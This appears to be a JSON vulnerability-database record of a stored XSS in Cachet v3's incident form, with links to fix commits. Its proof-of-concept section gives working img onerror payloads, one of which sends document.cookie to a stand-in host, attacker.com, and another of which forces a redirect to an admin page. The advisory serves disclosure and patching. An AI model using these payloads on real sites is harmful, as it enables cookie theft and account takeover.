{"id":"CVE-2026-113712","aliases":["GHSA-x397-5hrv-j9m9"],"url":"https://o3.security/vulnerability/CVE-2026-113712","summary":"Cachet has Stored XSS in Incident Component","details":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```<img src=x onerror=\"alert(1)\">```\n\nStep 2 — Cookie/token exfiltration:\n```<img src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\">```\n\nStep 3 — Forced redirect to sensitive page:\n```<img src=x onerror=\"window.location='/dashboard/manage-customization'\">```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n<img width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" />\n\n### Payload 2\n<img width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" />\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","published":"2026-10-20T19:14:02.289Z","modified":"2026-10-24T02:48:47.247538996Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"cachethq/cachet","fixedVersion":null}],"fix":{"url":"https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2","label":"cachethq/core@23adbb8"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113712.json"},{"type":"ADVISORY","url":"https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113712"},{"type":"FIX","url":"https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2"},{"type":"FIX","url":"https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e"},{"type":"PACKAGE","url":"https://github.com/cachethq/cachet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:47.247538996Z"}}